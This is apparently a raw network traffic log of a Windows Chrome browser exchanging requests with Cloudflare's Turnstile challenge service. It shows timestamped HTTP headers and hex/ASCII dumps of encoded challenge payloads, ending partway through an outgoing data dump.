2025-03-25 15:27:09 UTC	3407	OUT	Data Raw: 55 74 66 24 6c 24 46 24 33 24 66 24 4c 65 6f 59 65 6f 77 24 65 51 31 61 34 5a 65 36 6f 34 6f 43 44 51 4e 48 79 6f 68 6b 61 24 4f 79 31 6b 6f 70 6f 2d 79 34 61 72 79 6e 46 49 72 6f 36 79 4e 72 6f 63 6f 55 38 24 6f 6c 6b 24 6f 4d 4e 6f 4d 4a 74 6e 2b 6f 33 66 58 6b 6b 72 4e 79 31 37 6f 39 51 31 43 6f 33 76 47 68 46 6f 2b 76 61 6e 2b 67 32 71 4d 6f 2b 65 32 51 6e 48 4e 2b 24 31 49 6f 42 4b 6b 32 4b 6b 49 6f 45 31 6b 62 69 73 56 75 78 68 70 30 79 6f 76 76 30 49 46 6e 38 66 6f 66 51 67 6f 2b 38 44 47 4b 30 79 56 76 31 39 47 34 31 68 77 58 6b 32 46 54 6b 67 36 6f 31 76 61 65 30 39 44 31 51 2b 31 24 31 57 49 75 6f 6f 75 50 6e 4d 57 79 6e 2b 6e 24 65 65 47 2b 41 2b 77 6f 61 6f 39 24 64 37 49 79 31 32 52 79 6f 2d 30 59 79 6f 2d 37 4d 65 68 6f 6f 43 4f 34 66 6f 41 Data Ascii: Utf$l$F$3$f$LeoYeow$eQ1a4Ze6o4oCDQNHyohka$Oy1kopo-y4arynFIro6yNrocoU8$olk$oMNoMJtn+o3fXkkrNy17o9Q1Co3vGhFo+van+g2qMo+e2QnHN+$1IoBKk2KkIoE1kbisVuxhp0yovv0IFn8fofQgo+8DGK0yVv19G41hwXk2FTkg6o1vae09D1Q+1$1WIuoouPnMWyn+n$eeG+A+woao9$d7Iy12Ryo-0Yyo-7MehooCO4foA
2025-03-25 15:27:10 UTC	1051	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 228172 Connection: close cf-chl-gen: LHb0bX/LfTwlzenmvITGROfsSO95070fS1WlSQd6fj6yXB9/hwwEOUK0czsAwu+CjUnOOE/CSbQP/OexjpOcBR1IAQ0AzDfVcMUkgbo6Nzgx1mAPNgOdE/pyLGgk2PQr/N5v8nvBzZeUL/fjiRsDYceHHo8j7hZDAPq72AXKze4O5S8Rx4xbFQXQdVAOHR1XyHqgmGMo/QllWe0amxNjnztb6gzV1GPcFQbwglsMEujpIYggMumplGaGiqvbVZb8g7aiAxGAw6kMn3MAWouVYIevt9+JeD/981Lf1UdSjgYJ/Inll75A6RbH9FAlIC/CtVWOwX9scz0yViwO4Ukk4/J2B1H/zCfIokkquikjFZknqOO5aN98OlIIOMj90iVRw0H+mqqv2RFp7DDVcT5NiEYqyavGvMCKgws3vv79DyEGbk0vJ73CUzdQ4+GTam4H35dYrAYA2yNqFmQgsa7pDTrv1WljGYi9m0rdxboMIv9SIXPDtoFPM5B85y/u1EjomGNI/Ij0j0GU5Ojk6hNVuuDRAOGApghHcY0fvH/9OEIml+meFOZspuKkTr4q9ToBhrQZCGr3zFjSd4b1vLr2Te4vXQwlGVjAM2nAWOdtTQ0nVREJEuigPQxsG4uxV1JmbGhAnblSaj5IhKlJC+qqQ3rsNw+ddR2D19GgTtAWwqBSQJNW+GetESMOEcudV4ZqBBy2INWNO9HHgGoE+y/SvWgBJxIpCKHKsQy0fpIZG6PN1prYWdTEjivZpJAo5mnva3D8hzzEM8AHVWMA83EqIA==$7/M2f4ZXLqaVKjwUNW3t0w== Server: cloudflare CF-RAY: 925f6e46d8621a5c-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:10 UTC	318	IN	Data Raw: 74 5a 65 45 69 34 70 36 63 70 75 30 6c 4c 43 62 78 6f 4b 68 67 34 72 49 70 38 71 4c 75 34 36 4b 69 4b 6d 2f 77 62 58 43 72 70 66 55 6d 39 32 6d 30 73 72 42 33 5a 79 34 6f 39 79 34 74 4b 43 37 79 72 57 31 33 2b 43 74 32 62 76 48 35 73 54 31 7a 36 33 69 71 37 58 77 31 66 54 4f 31 67 4c 34 79 2b 38 46 7a 67 67 43 78 4e 6a 6b 36 65 58 67 37 39 73 4d 35 2b 76 4c 44 4f 4d 55 35 78 6e 75 36 76 54 38 44 75 72 6f 44 78 44 76 49 2f 41 43 42 4e 6b 53 4b 79 48 6c 36 43 38 64 4a 4f 77 76 37 67 6f 46 35 78 45 71 49 2b 73 56 4c 78 6f 58 46 6a 4c 38 4c 53 45 67 49 45 55 42 51 2f 35 42 53 79 46 44 51 44 6f 76 48 78 70 42 53 53 73 6e 56 30 31 43 53 42 55 54 56 44 73 37 55 6b 77 79 51 44 38 64 50 30 4d 31 53 6b 70 4d 57 31 64 57 4f 57 49 35 63 56 46 6c 5a 44 56 4f 4e 47 39 Data Ascii: tZeEi4p6cpu0lLCbxoKhg4rIp8qLu46KiKm/wbXCrpfUm92m0srB3Zy4o9y4tKC7yrW13+Ct2bvH5sT1z63iq7Xw1fTO1gL4y+8FzggCxNjk6eXg79sM5+vLDOMU5xnu6vT8DuroDxDvI/ACBNkSKyHl6C8dJOwv7goF5xEqI+sVLxoXFjL8LSEgIEUBQ/5BSyFDQDovHxpBSSsnV01CSBUTVDs7UkwyQD8dP0M1SkpMW1dWOWI5cVFlZDVONG9
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 47 63 6f 5a 57 56 61 34 4e 38 66 62 4b 47 70 6f 6d 32 6b 36 69 7a 75 6f 32 74 6a 62 6d 58 77 58 2b 78 72 70 4b 76 6b 6f 64 36 78 6f 6d 54 6f 37 32 4d 6e 72 32 76 6e 63 57 79 79 35 48 47 6c 74 47 4d 73 36 62 54 32 37 62 67 33 4b 79 2b 33 4a 37 64 34 37 66 6b 34 75 48 42 76 38 50 72 78 4d 58 70 79 4c 37 6a 39 73 6e 55 31 73 4c 30 79 4c 33 5a 33 2f 48 7a 2b 4f 50 7a 30 4d 58 6e 2b 2f 4c 30 77 37 37 67 35 51 38 41 2f 76 34 51 34 41 50 32 34 4f 55 52 42 4e 62 62 44 78 45 67 48 4e 66 30 4a 50 67 62 46 2f 6f 6e 47 50 73 69 2f 64 38 46 4a 43 6a 71 44 79 63 64 45 52 63 57 4c 51 63 45 2b 6a 72 35 48 79 45 57 41 44 62 38 47 51 41 6a 47 53 49 37 2f 44 34 6d 43 6b 63 49 4a 55 6b 6b 4d 30 63 4f 4b 79 49 34 4c 31 68 4a 56 54 67 2b 53 78 35 69 57 56 56 62 58 44 63 79 5a Data Ascii: GcoZWVa4N8fbKGpom2k6izuo2tjbmXwX+xrpKvkod6xomTo72Mnr2vncWyy5HGltGMs6bT27bg3Ky+3J7d47fk4uHBv8PrxMXpyL7j9snU1sL0yL3Z3/Hz+OPz0MXn+/L0w77g5Q8A/v4Q4AP24OURBNbbDxEgHNf0JPgbF/onGPsi/d8FJCjqDycdERcWLQcE+jr5HyEWADb8GQAjGSI7/D4mCkcIJUkkM0cOKyI4L1hJVTg+Sx5iWVVbXDcyZ
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 69 5a 34 64 79 6a 70 4e 76 68 37 6d 50 69 5a 43 62 69 70 4b 6f 77 4b 32 6a 6d 59 31 38 65 49 4b 43 6e 72 79 4c 75 61 76 4c 69 34 79 52 71 38 32 6d 6b 37 2f 4b 7a 38 79 53 70 4c 4c 4c 72 64 48 58 7a 4a 37 58 74 62 62 6e 77 74 75 6a 73 36 75 6a 33 4f 69 73 36 39 32 36 33 36 62 56 7a 72 62 50 78 63 37 52 78 73 66 58 36 66 66 75 2b 72 7a 55 7a 73 54 48 75 67 73 42 79 77 72 67 45 41 33 78 32 67 66 67 7a 41 76 51 34 74 58 6d 48 41 7a 74 43 66 4c 52 48 41 4d 44 45 69 41 66 46 76 6b 46 2b 68 6b 4c 35 43 67 67 42 69 63 49 49 42 33 39 4a 77 4d 73 4d 50 41 6e 44 52 6b 65 45 67 77 76 4e 42 6f 4e 51 77 45 36 41 44 59 71 4d 7a 78 43 51 6b 4a 48 49 54 30 70 49 43 42 4f 51 69 4a 43 4c 69 6f 76 47 46 78 65 48 45 35 58 56 45 34 63 52 78 38 38 53 69 6b 64 49 79 5a 63 52 44 Data Ascii: iZ4dyjpNvh7mPiZCbipKowK2jmY18eIKCnryLuavLi4yRq82mk7/Kz8ySpLLLrdHXzJ7Xtbbnwtujs6uj3Ois692636bVzrbPxc7RxsfX6ffu+rzUzsTHugsBywrgEA3x2gfgzAvQ4tXmHAztCfLRHAMDEiAfFvkF+hkL5CggBicIIB39JwMsMPAnDRkeEgwvNBoNQwE6ADYqMzxCQkJHIT0pICBOQiJCLiovGFxeHE5XVE4cRx88SikdIyZcRD
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 74 33 56 7a 6a 37 6d 63 6d 59 65 56 73 72 6d 43 6c 6f 52 2b 6e 70 62 47 77 36 65 57 69 63 36 6b 77 71 57 75 78 72 37 42 6e 62 65 58 31 38 62 62 72 70 71 78 33 63 43 79 6e 61 37 62 32 38 33 45 74 2b 65 35 32 62 58 61 7a 63 4f 36 34 4d 58 4d 71 74 44 6a 36 2f 48 79 38 62 44 36 74 73 37 55 74 73 73 41 38 74 48 56 7a 39 2f 32 41 4d 4c 31 2f 64 33 47 39 75 6e 43 2b 74 6f 53 30 67 73 43 43 42 4c 7a 43 52 45 4d 31 50 6a 66 2b 66 45 4c 37 75 30 54 47 2f 48 78 43 76 34 72 36 66 6f 6e 35 66 6f 4d 4c 53 30 56 38 68 49 43 41 69 67 4d 43 79 73 6f 45 68 31 41 4f 42 51 4f 48 78 34 59 42 6a 37 37 4e 54 51 34 51 45 45 50 53 43 45 71 50 7a 30 68 44 6b 77 68 4f 79 59 33 52 69 34 52 4c 69 73 30 4d 31 51 68 52 45 4e 63 52 32 4a 47 52 78 38 38 61 45 56 6a 4b 53 35 6a 52 54 35 Data Ascii: t3Vzj7mcmYeVsrmCloR+npbGw6eWic6kwqWuxr7BnbeX18bbrpqx3cCyna7b283Et+e52bXazcO64MXMqtDj6/Hy8bD6ts7UtssA8tHVz9/2AML1/d3G9unC+toS0gsCCBLzCREM1Pjf+fEL7u0TG/HxCv4r6fon5foMLS0V8hICAigMCysoEh1AOBQOHx4YBj77NTQ4QEEPSCEqPz0hDkwhOyY3Ri4RLis0M1QhRENcR2JGRx88aEVjKS5jRT5
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 35 57 6f 76 6e 32 67 67 70 53 77 70 62 79 47 68 70 61 4a 68 70 65 62 76 4a 75 70 6d 70 79 71 30 62 2f 4c 71 4c 6e 48 71 37 4f 56 71 74 65 59 33 4d 43 65 6c 72 4f 64 77 62 47 31 33 4a 33 69 70 4e 62 75 38 63 33 77 37 4d 7a 79 72 2b 66 42 32 73 58 4b 78 73 62 37 37 2b 6a 53 41 4c 33 44 42 51 54 77 36 4d 50 6f 2b 63 77 50 2b 65 4d 52 38 75 76 79 34 41 77 59 39 2f 51 48 7a 4f 37 39 2b 4f 6b 42 2b 65 72 39 33 67 62 69 41 68 6b 4b 4a 69 6e 33 49 4f 72 75 4c 41 30 50 37 53 6b 79 41 6a 59 78 4a 52 63 57 44 6a 55 50 2f 55 45 2b 44 6a 59 2f 52 52 70 49 4f 42 51 6e 53 69 63 72 44 55 52 43 51 55 64 4f 44 51 74 4e 56 46 6b 6a 54 31 59 56 55 56 67 75 59 54 35 57 59 68 35 44 5a 56 39 64 47 32 4e 6d 50 45 55 35 61 54 6f 73 57 6d 52 6a 56 6c 42 56 59 7a 68 4d 63 6e 70 53 Data Ascii: 5Wovn2ggpSwpbyGhpaJhpebvJupmpyq0b/LqLnHq7OVqteY3MCelrOdwbG13J3ipNbu8c3w7Mzyr+fB2sXKxsb77+jSAL3DBQTw6MPo+cwP+eMR8uvy4AwY9/QHzO79+OkB+er93gbiAhkKJin3IOruLA0P7SkyAjYxJRcWDjUP/UE+DjY/RRpIOBQnSicrDURCQUdODQtNVFkjT1YVUVguYT5WYh5DZV9dG2NmPEU5aTosWmRjVlBVYzhMcnpS
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 52 2b 70 4c 32 70 74 61 69 38 72 62 57 74 76 4c 43 35 73 38 65 31 76 61 75 77 6b 5a 61 71 6d 35 58 4d 75 35 7a 63 31 61 72 51 32 4a 66 59 30 36 4f 36 70 74 66 4c 71 61 6a 6b 71 38 4c 76 34 65 6e 47 38 4d 62 52 37 64 48 72 74 39 43 34 79 75 79 33 37 50 37 73 2b 63 54 67 41 74 2f 6b 78 67 7a 6f 7a 66 33 68 42 51 72 6e 36 52 62 67 41 38 34 48 48 4e 63 61 37 50 76 37 39 4e 66 31 46 52 44 38 32 42 49 62 2f 65 67 64 49 67 37 34 2b 78 30 75 37 66 77 6e 45 43 67 79 4e 79 62 79 2b 69 63 2f 50 44 64 41 4e 76 30 35 4c 67 49 34 42 2f 6f 6a 41 7a 63 6e 44 6b 51 66 54 77 34 39 4d 6b 55 56 46 43 38 32 4b 46 6c 5a 4d 6c 6f 39 55 68 31 67 4c 45 49 63 54 6c 38 6e 55 32 68 62 50 30 6c 72 57 31 6b 75 4f 79 34 2f 51 57 64 74 4d 31 46 77 53 6b 55 30 66 6b 34 37 65 30 35 44 5a Data Ascii: R+pL2ptai8rbWtvLC5s8e1vauwkZaqm5XMu5zc1arQ2JfY06O6ptfLqajkq8Lv4enG8MbR7dHrt9C4yuy37P7s+cTgAt/kxgzozf3hBQrn6RbgA84HHNca7Pv79Nf1FRD82BIb/egdIg74+x0u7fwnECgyNyby+ic/PDdANv05LgI4B/ojAzcnDkQfTw49MkUVFC82KFlZMlo9Uh1gLEIcTl8nU2hbP0lrW1kuOy4/QWdtM1FwSkU0fk47e05DZ
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 36 6e 37 65 68 77 4c 47 6c 30 64 4f 76 31 4d 58 4a 6f 35 61 79 32 63 66 4e 7a 35 32 61 72 74 61 67 77 70 33 55 76 4d 6a 43 78 4c 71 32 37 4d 72 74 75 37 44 4d 77 62 44 31 79 2b 72 76 38 63 6e 75 38 73 66 53 39 4e 4c 54 37 2f 6a 41 2f 64 58 39 32 4d 48 31 36 67 30 43 79 4d 6b 4e 2b 66 49 4e 35 2b 45 57 36 75 50 32 34 76 44 6e 47 4f 7a 6f 33 50 66 37 46 78 7a 69 45 68 2f 35 4a 68 76 6a 48 50 6b 45 37 51 77 4b 38 50 77 6a 48 69 6f 71 49 51 77 52 4c 6a 55 51 4b 6a 59 52 49 78 34 53 39 6a 59 6e 47 52 31 46 42 44 6f 37 4c 55 73 4e 54 79 56 54 43 6b 4e 50 56 42 59 33 55 6b 38 76 55 69 59 74 56 69 34 66 4c 30 55 66 54 6b 4e 6a 57 56 56 54 52 45 4a 49 56 32 64 71 4d 6a 74 49 55 55 59 70 54 44 42 4c 5a 56 42 4a 52 6a 68 57 67 6e 77 31 57 49 61 45 68 6e 5a 6d 51 55 Data Ascii: 6n7ehwLGl0dOv1MXJo5ay2cfNz52artagwp3UvMjCxLq27Mrtu7DMwbD1y+rv8cnu8sfS9NLT7/jA/dX92MH16g0CyMkN+fIN5+EW6uP24vDnGOzo3Pf7FxziEh/5JhvjHPkE7QwK8PwjHioqIQwRLjUQKjYRIx4S9jYnGR1FBDo7LUsNTyVTCkNPVBY3Uk8vUiYtVi4fL0UfTkNjWVVTREJIV2dqMjtIUUYpTDBLZVBJRjhWgnw1WIaEhnZmQU
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 79 4a 4f 4b 6a 35 48 57 79 63 4f 59 31 73 66 4e 6e 4c 61 59 7a 4b 2f 53 32 64 47 35 30 63 4c 45 76 64 62 68 34 75 69 74 33 62 7a 73 73 50 47 72 37 37 62 6d 30 50 72 37 35 66 75 38 31 72 4c 56 77 50 50 30 42 51 54 47 33 39 33 55 31 64 6a 65 34 65 51 46 36 78 48 79 33 4f 58 6a 41 75 66 6d 46 51 62 71 32 64 77 4a 32 51 50 63 42 52 67 46 2f 51 50 66 49 79 6b 49 49 75 76 71 4c 2f 77 4b 4a 77 6b 53 45 69 4d 6d 4a 42 55 53 46 69 38 78 4b 52 72 33 4e 44 77 69 45 67 59 6f 4a 68 56 46 50 53 73 46 4e 6a 67 4f 55 44 34 6b 50 69 4a 47 4a 42 46 55 45 6b 30 33 55 42 30 56 4f 6c 4e 44 4f 54 34 79 49 6c 52 52 51 54 39 67 56 6c 39 49 59 55 31 73 62 47 45 77 50 30 45 32 59 56 56 4a 65 6a 49 31 4d 47 42 70 55 6b 78 73 57 6e 39 67 58 48 46 69 65 6e 2b 44 57 57 52 71 59 6b 31 Data Ascii: yJOKj5HWycOY1sfNnLaYzK/S2dG50cLEvdbh4uit3bzssPGr77bm0Pr75fu81rLVwPP0BQTG393U1dje4eQF6xHy3OXjAufmFQbq2dwJ2QPcBRgF/QPfIykIIuvqL/wKJwkSEiMmJBUSFi8xKRr3NDwiEgYoJhVFPSsFNjgOUD4kPiJGJBFUEk03UB0VOlNDOT4yIlRRQT9gVl9IYU1sbGEwP0E2YVVJejI1MGBpUkxsWn9gXHFien+DWWRqYk1
2025-03-25 15:27:10 UTC	1369	IN	Data Raw: 39 62 43 70 61 62 46 70 73 33 56 30 63 43 73 35 65 53 33 33 37 4c 5a 78 4b 65 65 34 38 62 59 71 63 79 72 35 72 54 54 34 63 43 30 7a 38 2f 76 78 75 66 6f 31 73 7a 39 32 67 4c 39 31 4e 4c 56 35 65 4c 43 37 4f 62 44 35 4f 6f 41 79 74 73 43 39 66 37 6a 34 2f 4c 54 37 78 62 57 47 2f 7a 37 41 52 6b 45 48 39 33 67 38 2f 30 45 36 4f 49 42 48 66 66 67 43 69 6f 41 4d 7a 4d 48 48 77 48 76 43 76 51 45 4c 68 34 57 45 42 76 33 46 53 45 35 39 69 59 66 4e 66 34 53 4e 6a 6b 49 49 51 6b 35 4d 6b 4e 48 51 43 4d 31 46 41 6f 56 4f 43 74 46 46 31 56 5a 55 30 41 69 57 6c 78 64 4e 46 42 55 4a 6c 68 49 50 6c 34 39 57 57 39 47 54 47 35 78 61 58 4a 50 4e 6a 68 62 4e 30 6b 31 58 6d 70 76 67 48 42 59 55 54 32 47 59 33 6c 64 65 49 78 66 53 6f 75 50 57 32 43 4f 55 56 39 4c 67 59 36 4b Data Ascii: 9bCpabFps3V0cCs5eS337LZxKee48bYqcyr5rTT4cC0z8/vxufo1sz92gL91NLV5eLC7ObD5OoAytsC9f7j4/LT7xbWG/z7ARkEH93g8/0E6OIBHffgCioAMzMHHwHvCvQELh4WEBv3FSE59iYfNf4SNjkIIQk5MkNHQCM1FAoVOCtFF1VZU0AiWlxdNFBUJlhIPl49WW9GTG5xaXJPNjhbN0k1XmpvgHBYUT2GY3ldeIxfSouPW2COUV9LgY6K

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:10 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:11 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 25 Mar 2025 15:27:11 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 5DEcRR91CSlFOTRBQou4H/jAbo5J6ws+VOnjq14uL3Tlb2KbIf8y1G7zvwO3mocpX3MG91plnnooe4k3BAbLVw==$FZSX3QGOnrNkhVumqUwf7A== Server: cloudflare CF-RAY: 925f6e4e4bdaef9f-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:11 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:10 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/925f6e3cbb80917b/1742916430008/a244d9cbd59b4264723de8a796ca4bd75012d775f4f277796f3de31ccbdd0e79/F37XGZ-0um2z5-Y HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:11 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 25 Mar 2025 15:27:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-25 15:27:11 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6f 6b 54 5a 79 39 57 62 51 6d 52 79 50 65 69 6e 6c 73 70 4c 31 31 41 53 31 33 58 30 38 6e 64 35 62 7a 33 6a 48 4d 76 64 44 6e 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gokTZy9WbQmRyPeinlspL11AS13X08nd5bz3jHMvdDnkAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-25 15:27:11 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:11 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/925f6e3cbb80917b/1742916430009/KdR7JbnFznJVHjZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:12 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 925f6e53bc2478d6-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 31 00 00 00 1c 08 02 00 00 00 47 cc c0 a3 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR1GIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:13 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38320 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:13 UTC	16384	OUT	Data Raw: 55 74 66 24 4b 65 6e 49 41 33 66 6b 61 36 48 6e 37 6f 75 2d 66 31 57 6f 32 6f 78 6f 61 79 65 48 6f 2b 6f 68 79 4e 6b 4d 6f 6a 6f 4c 78 51 31 49 6e 63 31 66 37 24 47 79 4e 74 79 6f 68 6b 2b 6f 6b 79 6f 44 36 6f 2b 78 41 36 6f 67 51 31 2b 45 6b 6f 34 67 6f 52 24 6b 48 6f 53 24 6b 67 48 64 36 79 51 6e 2d 37 48 24 6f 61 41 2d 6f 6b 51 53 6f 55 24 6e 67 30 6f 4c 75 55 79 49 63 6f 6e 66 6e 31 6f 66 64 67 6f 36 46 72 4b 64 4f 74 57 6a 51 61 6b 55 6f 24 32 24 31 46 6f 6e 56 75 38 58 4a 44 76 73 66 74 52 4b 44 48 34 24 31 36 6b 59 68 79 6f 55 41 24 74 73 66 6f 58 6f 65 37 6f 4d 41 44 4f 43 6f 6f 57 4b 44 43 38 34 79 75 6f 65 56 6e 2d 34 64 67 48 30 61 6f 4e 30 37 79 39 31 44 57 6f 66 66 72 6f 2d 74 6b 6f 2d 78 41 6f 4c 66 6f 7a 58 43 2d 38 46 71 2b 6f 63 79 4b 6f Data Ascii: Utf$KenIA3fka6Hn7ou-f1Wo2oxoayeHo+ohyNkMojoLxQ1Inc1f7$GyNtyohk+okyoD6o+xA6ogQ1+Eko4goR$kHoS$kgHd6yQn-7H$oaA-okQSoU$ng0oLuUyIconfn1ofdgo6FrKdOtWjQakUo$2$1FonVu8XJDvsftRKDH4$16kYhyoUA$tsfoXoe7oMADOCooWKDC84yuoeVn-4dgH0aoN07y91DWoffro-tko-xAoLfozXC-8Fq+ocyKo
2025-03-25 15:27:13 UTC	16384	OUT	Data Raw: 53 58 44 4d 67 77 45 59 6b 77 45 69 39 2b 65 48 67 63 52 31 48 49 76 66 6e 46 33 77 35 44 5a 4e 34 76 78 35 51 69 6a 47 65 30 35 4d 77 37 6e 24 71 79 63 4b 55 6b 78 69 66 49 30 24 36 47 79 66 55 62 46 6b 44 6f 53 74 6f 54 6b 78 7a 48 48 30 37 42 71 75 51 76 6f 47 24 34 66 6e 4f 6f 49 48 6e 41 6e 41 47 33 4b 44 6f 53 70 48 33 6b 77 39 74 43 6f 61 6b 78 68 4d 4a 74 66 36 76 39 24 4a 74 31 74 47 68 41 4b 6f 38 57 6f 56 6f 41 32 41 4d 2d 5a 6e 67 37 34 45 6f 72 6e 66 47 31 55 76 51 65 4e 6f 4f 4f 6e 67 6e 6b 36 66 79 4e 49 6e 70 74 63 68 79 71 72 4a 74 63 59 65 70 6b 53 59 24 76 24 55 6b 4d 37 50 6c 31 4c 6f 24 4c 6b 35 65 67 79 39 67 4d 41 34 35 66 6f 65 63 6b 31 38 72 41 72 6b 4c 33 68 6e 50 46 6b 35 31 64 48 69 58 6b 54 65 36 6e 42 72 2d 76 6e 76 66 44 32 Data Ascii: 